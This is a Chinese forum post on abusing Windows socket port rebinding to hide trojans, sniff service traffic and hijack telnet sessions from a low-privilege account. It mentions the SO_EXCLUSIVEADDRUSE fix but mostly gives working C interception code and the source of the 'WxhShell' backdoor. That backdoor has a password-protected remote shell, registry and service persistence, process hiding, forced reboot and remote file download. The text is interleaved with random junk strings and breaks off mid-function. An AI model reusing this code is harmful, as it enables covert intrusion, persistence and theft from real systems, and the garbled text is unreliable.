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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: te&p1F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z*`nfTw l  
%] !xr6d  
  saddr.sin_family = AF_INET; #X*=oG  
GoPK. E$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Wd1+Yky  
=HHb ]JE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }XfRKGQw  
{#&jW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g]U! ]  
6bUcrw/# p  
  这意味着什么?意味着可以进行如下的攻击: $aj:\A0f  
}PzHtA,V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Xg9MS&  
EkEQFd 5g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) > 7 qZ\#  
p&ZLd`[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  S=X_7V  
yOyuMZo6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yS@xyW /  
H~?p,h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eI+p  
.>@]Im  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xi=Qxgx0I  
L%I8no-Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p0C|ECH  
;D}E/' =  
  #include lA,*]Mr~  
  #include YH{FTVOt{C  
  #include 3'[ g2JR  
  #include    8v\^,'@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VevDW }4q*  
  int main() |/;X -+f8  
  { "PC9[i  
  WORD wVersionRequested; zOMU&;.\  
  DWORD ret;  nw  
  WSADATA wsaData; 9~}.f1z  
  BOOL val; 6<9gVh<=w  
  SOCKADDR_IN saddr; yGlOs]>n  
  SOCKADDR_IN scaddr; e%KCcU  
  int err; Kj* $'('  
  SOCKET s; YT)@&HaF  
  SOCKET sc; lVS.XQ2<  
  int caddsize; 'E%+ O  
  HANDLE mt; ;a`I8Fj  
  DWORD tid;   ]SNcL[U  
  wVersionRequested = MAKEWORD( 2, 2 ); =B"^#n ;  
  err = WSAStartup( wVersionRequested, &wsaData ); rF=\H3`p3  
  if ( err != 0 ) { Hq "l`  
  printf("error!WSAStartup failed!\n"); :xsNn55b  
  return -1; ihopQb+k^m  
  } D@yu2}F{IY  
  saddr.sin_family = AF_INET; YbuS[l8  
   F^X:5g~K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )%~<EJ*&Z  
VHx:3G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L*1yK*  
  saddr.sin_port = htons(23); </|m^$v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b!z kQ?h  
  { >e QFY^d5  
  printf("error!socket failed!\n"); O8 5)^  
  return -1; Y$ '6p."=  
  } o7v,:e:  
  val = TRUE; B-[qS;PY%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P30|TU+B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pFwhv w  
  { CF/8d6}Vf  
  printf("error!setsockopt failed!\n"); z460a[Wl  
  return -1; Mtq^6`JJ'  
  } 2Z*^)ZQB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a VIh|v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6>F]Z)]}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Io7o*::6iw  
iU?xw@W R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v)rQ4 wD:  
  { fi';Mb3B3  
  ret=GetLastError(); 48n7<M;I  
  printf("error!bind failed!\n"); N6%M+R/Q  
  return -1; 7^DN8g"&\  
  } HMVyXulU  
  listen(s,2); >d$Sh`a6  
  while(1) #>O>=#Q  
  { &\AW} xp  
  caddsize = sizeof(scaddr); ZUaqv  
  //接受连接请求 |/O_AnGI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0 LIRi%N5*  
  if(sc!=INVALID_SOCKET) S/xCX!  
  { Mt%=z9OLq9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lAo S 9w  
  if(mt==NULL) )H- y  
  { nx@ h  
  printf("Thread Creat Failed!\n"); p]J0A ^VV  
  break; ?eri6D,86w  
  } Iz[wrtDI 1  
  } bSS=<G9  
  CloseHandle(mt); O@sJ#i>  
  } a_o99lP  
  closesocket(s); z9HUI5ns  
  WSACleanup(); CL<m+dW%*  
  return 0; xc_-1u4a9  
  }   TV*@h2C"i  
  DWORD WINAPI ClientThread(LPVOID lpParam) E{}Vi>@V?  
  { "i~~Q'=7  
  SOCKET ss = (SOCKET)lpParam; v_NL2eQ~  
  SOCKET sc; ZA'Qw2fF0  
  unsigned char buf[4096]; )(l=_[1Z5  
  SOCKADDR_IN saddr; L<_zQ  
  long num; c^`(5}39v  
  DWORD val; w4j,t  
  DWORD ret; NLF6O9  
  //如果是隐藏端口应用的话,可以在此处加一些判断  g\=e86  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PR~9*#"v..  
  saddr.sin_family = AF_INET; {}N=pL8MS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n_@cjO  
  saddr.sin_port = htons(23); pEX|zee  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ><"0GPxrx  
  { J|:Zs1.<d  
  printf("error!socket failed!\n"); {Q AV  
  return -1; ^6FU]  
  } wUcp_)aE|  
  val = 100; 5yQ\s[;o3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }+i~JK  
  { pX]"^f1?O  
  ret = GetLastError(); ~oE@y6Q  
  return -1; ^4[|&E:  
  } j2Uu8.8d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;'4 HR+E"  
  { >^ zbDU1wT  
  ret = GetLastError(); d^Zr I\AJ  
  return -1; w}r~Wk^dLI  
  } K#4Toc#=V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {x<yDDIv_  
  { 0:q R,NW^#  
  printf("error!socket connect failed!\n"); xoyH5ZK@  
  closesocket(sc); Wd]MwDcO  
  closesocket(ss); vDcYz,  
  return -1; JFh_3r'  
  } KIYs[0*k  
  while(1) {q|Om?@  
  { Bf{c4YiF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |}naI_Qudv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !\/J|~XZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )jHH-=JM  
  num = recv(ss,buf,4096,0); eD?f|bif  
  if(num>0) &AhkP=Yw  
  send(sc,buf,num,0); %rq/&#jC  
  else if(num==0) q o tWWe#  
  break; zt/N)5\V  
  num = recv(sc,buf,4096,0); l&oc/$&|[  
  if(num>0) POt 8G  
  send(ss,buf,num,0); vbSycZ2M7  
  else if(num==0) C7xmk;c w  
  break; ! ,&{1p  
  } B8.uzX'p  
  closesocket(ss); 6uKS!\EY|  
  closesocket(sc); ;cp,d~mrf  
  return 0 ; \TnRn(Kw  
  } R;`C;Rbf  
'O[0oi&  
h #(J6ht  
========================================================== l-<EG9m@  
C5x*t Q|  
下边附上一个代码,,WXhSHELL  7 j8Ou3  
-8m3L  
========================================================== @t4OpU<'*b  
C9L_`[9DO  
#include "stdafx.h" !i5~>p|4@  
?OF9{$m3?  
#include <stdio.h> =U,mzY (  
#include <string.h> *5d6Q   
#include <windows.h> W?X3 :1c9:  
#include <winsock2.h> j-TRa,4bN  
#include <winsvc.h> 67T=ku  
#include <urlmon.h> YG J)_y  
@"__2\ 0  
#pragma comment (lib, "Ws2_32.lib") Am"e%|:  
#pragma comment (lib, "urlmon.lib") ,f^ ICM  
rWNywxnT  
#define MAX_USER   100 // 最大客户端连接数 osZ] R  
#define BUF_SOCK   200 // sock buffer 5`p>BJ+n  
#define KEY_BUFF   255 // 输入 buffer f_'8l2jK1i  
HMqR%A  
#define REBOOT     0   // 重启 ^wxpinJ>  
#define SHUTDOWN   1   // 关机 V?&P).5)  
2VaKt4+`  
#define DEF_PORT   5000 // 监听端口 qA5 Ug  
3H ,?ZFFGz  
#define REG_LEN     16   // 注册表键长度 J/B`c(  
#define SVC_LEN     80   // NT服务名长度 jchq\q)_z  
66-G)+4  
// 从dll定义API R(p3* t&n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U6F1QLSLz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cxra(!&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "?ON0u9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5%RiM|+  
}va>jfy  
// wxhshell配置信息 yoG*c%3V?  
struct WSCFG { <d~si^*\ch  
  int ws_port;         // 监听端口 ?tx."MZ  
  char ws_passstr[REG_LEN]; // 口令 y7| 3]>Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no S pk8u4  
  char ws_regname[REG_LEN]; // 注册表键名 xq<X:\O  
  char ws_svcname[REG_LEN]; // 服务名 lb\VQZp!y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D hD^w;f]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D";@)\jN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^]MLEr!S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~DP_1V?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZY=a[K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tr|)+~x3  
_)[UartKx  
}; v"-K-AQjB  
+aOQ'*g  
// default Wxhshell configuration p} {H%L  
struct WSCFG wscfg={DEF_PORT, f"SK3hI$p  
    "xuhuanlingzhe", 9PdD=9HH  
    1, ziC%Q8  
    "Wxhshell", .zv BV_I  
    "Wxhshell", 8p_6RvG  
            "WxhShell Service", 9J$-E4G.M  
    "Wrsky Windows CmdShell Service", + f,Kt9Cy  
    "Please Input Your Password: ", kxmc2RH>nB  
  1, n+S&[Y  
  "http://www.wrsky.com/wxhshell.exe", `#"xgOSP>  
  "Wxhshell.exe" v?0F  
    }; xSq{pxX  
Z):Nd9  
// 消息定义模块 '^M.;Giz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g cb6*@u!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qKTzigjj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F}?4h Dt  
char *msg_ws_ext="\n\rExit."; '}$$0S.DC  
char *msg_ws_end="\n\rQuit."; 8p]9A,Uq&  
char *msg_ws_boot="\n\rReboot..."; +`tk LvM  
char *msg_ws_poff="\n\rShutdown..."; Q)im2o@z  
char *msg_ws_down="\n\rSave to "; p0h E`!  
bE?X?[K  
char *msg_ws_err="\n\rErr!"; =Y Y 7V!  
char *msg_ws_ok="\n\rOK!"; |#yH,f  
.F G%QFF~  
char ExeFile[MAX_PATH]; <QD[hO^/  
int nUser = 0; JJK-+a6cX  
HANDLE handles[MAX_USER]; Z@} qL1  
int OsIsNt; bvS6xU- J  
3~:9ZWQ/  
SERVICE_STATUS       serviceStatus; N-W>tng_x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [0vqm:P  
IKV!0-={!z  
// 函数声明 " =6kH,  
int Install(void); nJ h)iQu  
int Uninstall(void); 3S" /l  
int DownloadFile(char *sURL, SOCKET wsh); 9g]%}+D  
int Boot(int flag); c(aykIVOo  
void HideProc(void); 6V*,nocL_+  
int GetOsVer(void); yK-DzAv  
int Wxhshell(SOCKET wsl);  { &Vt]9  
void TalkWithClient(void *cs); F^81?F i.  
int CmdShell(SOCKET sock); 1) 5$,+~lL  
int StartFromService(void); tAsap}(  
int StartWxhshell(LPSTR lpCmdLine); 8OiCldw:HN  
S%aup(wu6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 51Vqbtj^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "6 ~5RCZ  
-iKoQkHt  
// 数据结构和表定义 _ s*p$/V\  
SERVICE_TABLE_ENTRY DispatchTable[] = $ ^@fV=e  
{ S=\cF,Zs  
{wscfg.ws_svcname, NTServiceMain}, D -d  
{NULL, NULL} :w+vi 7l$  
}; fUr%@&~l^  
w!'y,yb%  
// 自我安装 %%N T m  
int Install(void) `]^W#6l  
{ n'0r (  
  char svExeFile[MAX_PATH]; .f"1(J8  
  HKEY key; Ft?eqDS1  
  strcpy(svExeFile,ExeFile); V>/,&~0  
vn!5@""T  
// 如果是win9x系统,修改注册表设为自启动 [>t;P ,  
if(!OsIsNt) { ]|tR8`DGZ%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `][vaLd`Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h ,n}=g+?  
  RegCloseKey(key); .+kg1=s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ` FOCX;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4XAs^>N+  
  RegCloseKey(key); "blq)qo)  
  return 0; lV$CBS  
    } )K$YL='kX  
  } ==Xy'n9'  
} Q-rG~O9-  
else { Qj|rNeM_  
\Y>b#*m(4  
// 如果是NT以上系统,安装为系统服务 M\-[C!h,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b3FKDm[  
if (schSCManager!=0) R:$E'PSx  
{ -DK6(<:0  
  SC_HANDLE schService = CreateService %P D}VF/Y  
  ( uVKe?~RC  
  schSCManager, 9!FU,4 X  
  wscfg.ws_svcname, KJ:z\N8eo  
  wscfg.ws_svcdisp, O-[  
  SERVICE_ALL_ACCESS, "{\xBX~oM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]YtN6Rq/  
  SERVICE_AUTO_START, ?dbSm3  
  SERVICE_ERROR_NORMAL, x;<0Gg~jB  
  svExeFile, L]8z6]j*  
  NULL, 4\5i}MIS0  
  NULL, J]#rh5um  
  NULL, Z,O* p,Gzn  
  NULL, FzcXSKHV %  
  NULL H(gY =  
  ); I;-Y2*  
  if (schService!=0) oyr b.lu/  
  { QkC*om'/!  
  CloseServiceHandle(schService); v0VQ4>  
  CloseServiceHandle(schSCManager); @&Z^WN,x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : NA(nA 3  
  strcat(svExeFile,wscfg.ws_svcname); qdn_ ZE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xT]t3'y|-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yo/;@}g}  
  RegCloseKey(key); g'b|[ q  
  return 0; K4jHha  
    } ge(,>xB  
  } 1G7l+6w5~^  
  CloseServiceHandle(schSCManager); jU~ x^Y  
} e5 L_<V^Jo  
} WG3!M/4r H  
DH%PkGn  
return 1; ]WYV  
} `FQ]ad Fz  
>~nr,V.q  
// 自我卸载 yvj/u c  
int Uninstall(void) <g%A2 lI  
{ T[)!7@4r  
  HKEY key; 5!fOc]]Ow  
r5N TTc  
if(!OsIsNt) { :\JCxS=EW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ a,}1FS  
  RegDeleteValue(key,wscfg.ws_regname); m$=}nI(H  
  RegCloseKey(key); YLi6G Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /AAD Fa  
  RegDeleteValue(key,wscfg.ws_regname); 8QK8q: |  
  RegCloseKey(key); )WbWp4  
  return 0; C1e@{>  
  } ]95VM yN  
} `BKb60  
} ; cvMNU$fN  
else { | bRU=dg  
bj}Lxc],  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RrvC}9ar  
if (schSCManager!=0) IHdA2d?.]  
{ Vy I\Jmr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [#mk TY  
  if (schService!=0) N|$9v{ j_  
  { ~HhB@G!3  
  if(DeleteService(schService)!=0) { #Zw:&' QB  
  CloseServiceHandle(schService); $BMXjXd}  
  CloseServiceHandle(schSCManager); :MY=Q]l  
  return 0; :>JfBJ]|  
  } P*BRebL:  
  CloseServiceHandle(schService); lYCvYe  
  } 7)V"E-6h  
  CloseServiceHandle(schSCManager); 'I&0$<  
} 4pf@.ra,  
} T>'O[=UWh  
d}zh.O5P!  
return 1; ^n0;Q$\  
} <O 0Q]`i  
Rlk3AWl2u  
// 从指定url下载文件 n 5R9<A^  
int DownloadFile(char *sURL, SOCKET wsh) )f|`mM4DW!  
{ +1YEOOfVY  
  HRESULT hr; ioD8-  
char seps[]= "/"; 9Z!n!o7D  
char *token; ;W|NG3_y  
char *file; XDJE]2^52?  
char myURL[MAX_PATH]; yy=hCjQ)  
char myFILE[MAX_PATH]; O^`EuaL  
0S$k;q  
strcpy(myURL,sURL); ];hqI O#nM  
  token=strtok(myURL,seps); TLVsTM8 P  
  while(token!=NULL) t&?{+?p: 9  
  { /]3[|  
    file=token; QR#>Ws  
  token=strtok(NULL,seps); k\ .9iI'6  
  } t_jn-Idcf  
Rtz~:v%  
GetCurrentDirectory(MAX_PATH,myFILE); qsp.`9!  
strcat(myFILE, "\\"); F-wAQ:  
strcat(myFILE, file); rhbz|Uq  
  send(wsh,myFILE,strlen(myFILE),0); V^ n6~O  
send(wsh,"...",3,0); 8#yu.\N.xt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [oV M9 Q  
  if(hr==S_OK) ;6P>S4`w  
return 0; hg" i;I  
else ]"Uzn  
return 1; XLt/$Caf  
IS&qFi}W|W  
} 63Zu5b"O/  
H]R/=OYBUh  
// 系统电源模块 &]o-ZZX  
int Boot(int flag) XQ}J4J~Vm  
{ rgzra"u)  
  HANDLE hToken; NplyvjQN;  
  TOKEN_PRIVILEGES tkp; &M}X$k I  
]nUrE6  
  if(OsIsNt) {  /RJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yO1 7C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g,._3.D  
    tkp.PrivilegeCount = 1; YUEyGhkMV{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ESRj<p%W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &~P4yI;,  
if(flag==REBOOT) { 1OM Xg=Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gy/w #4xj  
  return 0; uKP4ur@1  
} " _2 k 3  
else { \uOM,98xS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '_G\_h}5  
  return 0; q k^FyZ<  
} sWo`dZ\6WB  
  } |ZH(Z}m  
  else { '-%1ILK$3r  
if(flag==REBOOT) { .@,t}:lD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d#0:U Y%~  
  return 0; z9ADF(J?0'  
} dR]-R/1|  
else { kP%hgZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UA8hYWRP  
  return 0; losqc *|  
} [ @eA o>  
} P0.cF]<m  
7?=^0?a  
return 1; XG.[C>  
} V+"%BrM  
'%rT]u3U  
// win9x进程隐藏模块 pr#%VM[':R  
void HideProc(void) WT ;2aS:  
{ SUUNC06V  
o4kLgY !Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &" t~d}Rg  
  if ( hKernel != NULL ) nXRa_M(z8  
  { L5FOlzn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [_'A(.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y{hg4|\  
    FreeLibrary(hKernel); }:IIk-JoC  
  } fwz:k]vk  
G{} 2"/   
return; bXnUz?1!d  
} UUV5uDe>i  
(&e!u{I  
// 获取操作系统版本 ki'$P.v{$w  
int GetOsVer(void) Xk4wU$1F  
{ l)[|wPf  
  OSVERSIONINFO winfo; L?[m$l!T}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (kLaXayn  
  GetVersionEx(&winfo); @-)?uYw:r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^y/Es2A#t  
  return 1; * hs&^G  
  else GGuU(sL*  
  return 0; py'vD3Q  
} Gw<D'b)!  
AabQ)23R2  
// 客户端句柄模块 =PRQ3/?5  
int Wxhshell(SOCKET wsl) n?@zp<  
{ s=n4'`y1  
  SOCKET wsh; ^w^e~0 S  
  struct sockaddr_in client; <!sLf z?  
  DWORD myID; d&Nnp jH}c  
ynIC (t  
  while(nUser<MAX_USER) Q ]CMm2L^f  
{ @njNP^'Kx  
  int nSize=sizeof(client); "u^Erj# /  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nu"v .]Y2  
  if(wsh==INVALID_SOCKET) return 1; |eu8;~A  
ytIPY7E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uqel UL}  
if(handles[nUser]==0) wb.yGfJ  
  closesocket(wsh); E#KZZ lbx  
else f]/2uUsg %  
  nUser++; U4!KO;Jc  
  } h vYRAQR:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0zH-g  
<_xG)vwh.  
  return 0; i=xh;yb|  
} #"UO`2~`l  
wG,"X'1  
// 关闭 socket MR1I"gqE}I  
void CloseIt(SOCKET wsh) |E1U$,s~u  
{ `}?;Ow&2CY  
closesocket(wsh); QOXo(S  
nUser--; 3lp'U&3`5  
ExitThread(0); Lm4`O %  
} J>A9]%M  
01?+j%k=m/  
// 客户端请求句柄 5C!zEI)  
void TalkWithClient(void *cs) }%u #TwZ  
{ D -tRy~}  
K+}0:W=P  
  SOCKET wsh=(SOCKET)cs; V~dhTdQ5}  
  char pwd[SVC_LEN]; [q?RJmB]  
  char cmd[KEY_BUFF]; /"Vd( K2Z  
char chr[1]; XjN4EDi+E  
int i,j; KmNnW1T  
|HmY`w6*z  
  while (nUser < MAX_USER) { PMytk`<`zw  
 cHvm  
if(wscfg.ws_passstr) { ,H{9`a#+:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c7XBZ%D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &+#5gii1i  
  //ZeroMemory(pwd,KEY_BUFF); Yg8* )u0  
      i=0; -P;0<j@6k5  
  while(i<SVC_LEN) { , MXU]{  
T<B}Z11R  
  // 设置超时 4QA~@pBX^{  
  fd_set FdRead; a.V5fl0?I@  
  struct timeval TimeOut; CV @P +  
  FD_ZERO(&FdRead); |}4\Gm  
  FD_SET(wsh,&FdRead); f}bq  
  TimeOut.tv_sec=8; r84^/+"T  
  TimeOut.tv_usec=0; ~lo43$)^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C+TB>~Gv`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wtYgHC}X  
Cy[G7A%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p*b_ "aF1  
  pwd=chr[0]; 9G/!18 X?f  
  if(chr[0]==0xd || chr[0]==0xa) { w0~%,S  
  pwd=0; @R5^J{T  
  break; e\V -L_  
  } 2Xe1qzvo  
  i++; BH0m[9nU;  
    } 76tn`4NIP  
eUy*0  
  // 如果是非法用户,关闭 socket %R >n5m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Vu#:6%  
} e`n ZiM>  
>/A]C$?3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hoq2zDjD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c& ;@i$X(  
*a Z1 4  
while(1) { U823q-x  
M8~3 0L  
  ZeroMemory(cmd,KEY_BUFF); #s{^fUN6  
'{ _ X1  
      // 自动支持客户端 telnet标准   \\R}3 >Wc  
  j=0; E]' f&0s  
  while(j<KEY_BUFF) { (u&x.J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Or? )Nlg6x  
  cmd[j]=chr[0]; 7 FE36Ub9  
  if(chr[0]==0xa || chr[0]==0xd) { ; dzL9P9IU  
  cmd[j]=0; KUJLx  
  break; (m R)o&Y%,  
  } -$:; en?  
  j++; (,h2qP-;ud  
    } w1tM !4r  
zP44 Xhz  
  // 下载文件 G%I .u  
  if(strstr(cmd,"http://")) { ]Kt@F0U<o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TLsF c^X  
  if(DownloadFile(cmd,wsh)) {5Bj*m5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}t]lD %C  
  else @:?[R&`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d^=)n-!T  
  } tu}!:5xi  
  else { xE 8?%N U  
#^L&H oo6  
    switch(cmd[0]) { ^s{Ff+]W  
  0#WN2f, <:  
  // 帮助 ?b+Y])SJK  
  case '?': { ~P'.R.e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F1.Xk1y%  
    break; 'V?FeWp  
  } 9qftMDLZJ\  
  // 安装 F%6wdM W  
  case 'i': { o-@01_j  
    if(Install()) F-s{#V1=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y$%oR6 K7-  
    else S($/Ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %C/p+Tg  
    break; #%[;v K  
    } Fl_}Auj{&(  
  // 卸载 fn,n'E]  
  case 'r': { \x-2qlZ  
    if(Uninstall()) RHFRN&RU$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H0s*Lb  
    else cANt7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cTq@"v di  
    break; 4G,FJjE`p  
    }  2 q4p-  
  // 显示 wxhshell 所在路径 @mCe{r*`  
  case 'p': { MSmr7%g3D  
    char svExeFile[MAX_PATH]; .zgh,#=  
    strcpy(svExeFile,"\n\r"); )7 Mss/2T  
      strcat(svExeFile,ExeFile);  g!}]FQBb  
        send(wsh,svExeFile,strlen(svExeFile),0); )Jjp^U3Ub  
    break; ?SNacN@r  
    } 8H4NNj Oy  
  // 重启 _[R(9KyF0f  
  case 'b': { jkL=JAcf~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bJIYe ld  
    if(Boot(REBOOT)) q5_zsUR=  
